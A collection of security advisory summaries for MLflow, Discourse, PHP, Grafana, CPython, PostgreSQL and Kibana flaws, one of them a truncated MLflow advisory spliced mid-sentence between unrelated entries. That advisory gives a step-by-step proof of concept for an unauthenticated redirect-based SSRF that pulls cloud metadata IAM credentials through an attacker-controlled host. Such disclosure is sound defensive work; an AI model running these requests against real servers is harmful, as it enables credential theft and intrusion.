MLflow versions prior to 3.15.0 contain a vulnerability in the CreateModelVersion functionality where source validation does not properly check READ permissions on the referenced run_id. This allows authenticated users to create a model version that references another user's artifact directory and read files without the required permissions. The issue is fixed in version 3.15.0.
MLflow versions from 3.13.0 up to but not including 3.15.0 contain a vulnerability where the LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth mode. This allows any authenticated user to call the POST /api/2.0/mlflow/runs/log-inputs endpoint for another user's run and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without having UPDATE permission. The issue is fixed in version 3.15.0.
A vulnerability in Discourse prior to versions 2026.1.6, 2026.5.2, 2026.6.1, and 2026.7.1 allows category group moderators to see excerpts of private messages attached to flags in the review queue, even if they are not participants in those messages. This exposure is limited to a small excerpt and does not allow modification or deletion of content. The issue affects sites with category group moderation enabled and involves flag messages intended only for moderators. The vulnerability has been fixed in the specified versions.
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a
Circular symbolic links in phar archives could lead to unbounded recursion, exhausting the C stack and crashing the PHP process, in PHP versions from 8.2.* before 8.2.33, from 8.3.* before 8.3.33, from 8.4.* before 8.4.24, and from 8.5.* before 8.5.9.
CVE-2026-17183 is a high-severity vulnerability in Grafana OSS where an authenticated user with permission to create or edit alert rules can bypass datasource query authorization. By marking an alert rule query as a server-side expression referencing a real datasource UID, the user can access data through Grafana's datasource credentials without proper permission. This incorrect authorization flaw can expose sensitive data to unauthorized users.
CVE-2026-19672 is a directory traversal vulnerability in the Python tarfile module affecting POSIX platforms. The issue allows creation of empty directories outside the intended extraction destination when member names contain path components that leave and then return to the destination directory. This does not affect Windows due to path normalization. Only empty directories are created outside the destination; file contents remain inside. The vulnerability affects CPython versions before 3.16.0 and has a medium severity rating with a CVSS score of 6.3.
A SQL injection vulnerability exists in PostgreSQL's EXTRACT() expression deparse functionality, allowing an object owner to execute arbitrary SQL commands with superuser privileges via a malicious object definition. This affects various tools that consume expression deparse output, including pg_dump and psql commands like \sf. The vulnerability impacts multiple PostgreSQL versions prior to 14.24, 15.19, 16.15, 17.11, and 18.6.
Buffer over-read in PostgreSQL pg_trgm index picksplit function reads past end of a heap buffer. This might allow a table maintainer to infer limited memory values, via the lossy signal of index split choices. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
A heap buffer overflow vulnerability exists in PostgreSQL's pg_stat_statements module that allows a query author to execute arbitrary code as the operating system user running the database. This issue affects PostgreSQL major version 18, specifically versions from 18.0 up to but not including 18.5. Versions prior to 18.0 are not affected. A patch is available to address this vulnerability.
A vulnerability in Kibana Agent Builder allows privilege escalation and potential disclosure of sensitive information due to missing authorization checks. The component does not verify that the requesting user has the necessary privileges before creating and running tools that invoke other Kibana features. This affects Kibana versions from 9.4.0 up to but not including 9.4.4. A patch is available to address this issue.
CVE-2026-72680 is an authorization bypass vulnerability in Kibana Agent Builder's A2A JSON-RPC API. An authenticated user with only read privileges can supply a user-controlled identifier to replace another user's stored conversation within the same space. This causes the original owner to lose access to the conversation and its history permanently. The attacker cannot read the overwritten content, limiting the impact to integrity and availability loss of the affected conversation.
A Relative Path Traversal vulnerability in Kibana Fleet allows an attacker to supply a crafted identifier containing relative traversal sequences. This identifier is stored and later used in requests when removing Fleet Server host configurations, potentially leading to unauthorized deletion of Kibana resources such as users and other critical data. The issue affects multiple versions of Kibana prior to specific fixed releases. A patch is available to address this vulnerability.
A missing authorization vulnerability in Kibana Machine Learning allows operations from one space to access and modify machine learning data across all spaces in the deployment. This occurs because some Machine Learning functionality does not apply the per-request space filter intended to isolate data between spaces. The vulnerability affects Kibana versions from 8.0.0 up to but not including 8.19.20 and from 9.0.0 up to but not including 9.4.5. A patch is available to address this issue.
A vulnerability in Kibana allows excessive allocation of resources without limits or throttling, leading to denial of service. The issue arises because a user-supplied list of document fields accepted by the Kibana Playground for the RAG feature is not bounded in length or de-duplicated. This can cause Kibana to build a response much larger than the original data, exhausting system resources. The vulnerability affects Kibana versions 9.3.0 through 9.3.7 and 9.4.0 through 9.4.3. A patch is available to address this issue. No known exploits are reported in the wild. The severity is assessed as medium.
An authorization flaw in Kibana allows an authenticated user with Synthetics write privileges in one space to delete Synthetics private locations shared with other spaces. This deletion affects all spaces sharing the location, including those where the user has no access, disrupting availability monitoring. The issue arises because the safeguard only checks monitors visible in the user's own space, ignoring dependencies in other spaces.
A vulnerability in Elastic Security's Kibana component allows authenticated users with Elastic Security feature privileges, but without read access to Elastic Defend event indices, to retrieve sensitive endpoint event data. This occurs because Kibana queries Elastic Defend event data using its internal Elasticsearch account rather than the requesting user's account, bypassing Elasticsearch index privilege checks. Sensitive information such as process command line arguments, which may include tokens, credentials, and connection strings, can be exposed. Versions 9.1.0 up to but not including 9.4.5 are affected. A patch is available to address this issue.
Kibana contains a vulnerability in its Machine Learning capability where insufficient authorization checks allow users with privileges to create anomaly detection and data frame analytics jobs—but without trained model privileges—to remove trained machine learning models from a space. The trained model itself is not deleted and remains accessible in other spaces. This modification can be reversed by users with appropriate privileges. The issue affects Kibana versions from 8.0.0 up to but not including 8.19.20, and from 9.0.0 up to but not including 9.4.5. A patch is available to address this vulnerability.
A vulnerability in Kibana allows a lower privileged user with only read access to agent policies to view the entire configuration of a Fleet proxy, which normally requires higher privileges. This configuration may include sensitive proxy authentication credentials and private key material, leading to unauthorized disclosure of sensitive information.
Kibana contains a vulnerability where the Observability Onboarding flow state is not properly bound to the user who created it. Authenticated users with generic read access can view and modify onboarding flows of other users, potentially causing information disclosure and data tampering. Tampering with a flow may also cause server errors in the owner's onboarding view. This issue affects specific Kibana versions and has a high severity rating. A patch is available to address this vulnerability.